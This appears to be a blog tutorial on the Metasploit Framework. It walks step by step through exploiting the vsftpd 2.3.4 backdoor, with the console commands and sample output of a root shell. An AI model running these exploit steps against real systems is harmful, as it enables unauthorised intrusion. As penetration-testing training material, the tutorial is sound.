Metasploit Framework and working procedure

 

Use of Metasploit Framework

Overview: The Metasploit Framework is an industry-leading open-source penetration testing platform widely used by security professionals and ethical hackers. It enables users to identify, exploit, and validate vulnerabilities in various systems, offering a robust suite of tools to develop and execute exploit code against remote target machines. There is some other Penetration testing tolls that I have written can visit if you like. 

Key Features:

• Exploit Development: A library of hundreds of exploits for various platforms.
• Payloads: Customizable payloads that execute commands on the target machine.
• Auxiliary Modules: Tools for scanning, fuzzing, and other network functions.
• Post-Exploitation: Tools to gather information and maintain control after exploitation.

        Implementation Example and use of the Framework

                                    Objective: Exploit a vulnerable FTP server using Metasploit.

                Step-by-Step Implementation:

1. Install Metasploit:

   • On a Debian-based system:

     sudo apt update
     sudo apt install metasploit-framework
     

2. Start Metasploit Console:

   msfconsole

3. Search for an Exploit:

   • Identify the target and search for relevant exploits:

     search vsftpd

   • This command searches for exploits related to the vsftpd FTP server.

4. Select the Exploit:

   • Choose the appropriate exploit from the search results:

     use exploit/unix/ftp/vsftpd_234_backdoor

5. Set the Target:

   • Configure the target details, such as the IP address:

     set RHOSTS [target_ip]

6. Set the Payload:

   • Choose a payload to execute upon successful exploitation:

     set PAYLOAD cmd/unix/interact

7. Execute the Exploit:

   • Run the exploit to attack the target:

     exploit

8. Post-Exploitation:

   • After successful exploitation, interact with the target system. For example:

     whoami

   • This command checks the current user on the compromised system.

            Example Output:

                msf5 > exploit

[*] Started reverse TCP handler on 192.168.1.100:4444 
[*] 192.168.1.101:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.101:21 - USER: 331 Please specify the password.
[*] 192.168.1.101:21 - Backdoor service has been spawned, handling...
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.100:4444 -> 192.168.1.101:6200) at 2024-06-27 12:00:00 +0000

id
uid=0(root) gid=0(root)

In this example, Metasploit successfully exploits a vulnerability in the vsftpd FTP server, providing a command shell on the target system. This demonstrates how Metasploit can be used to identify and exploit vulnerabilities effectively.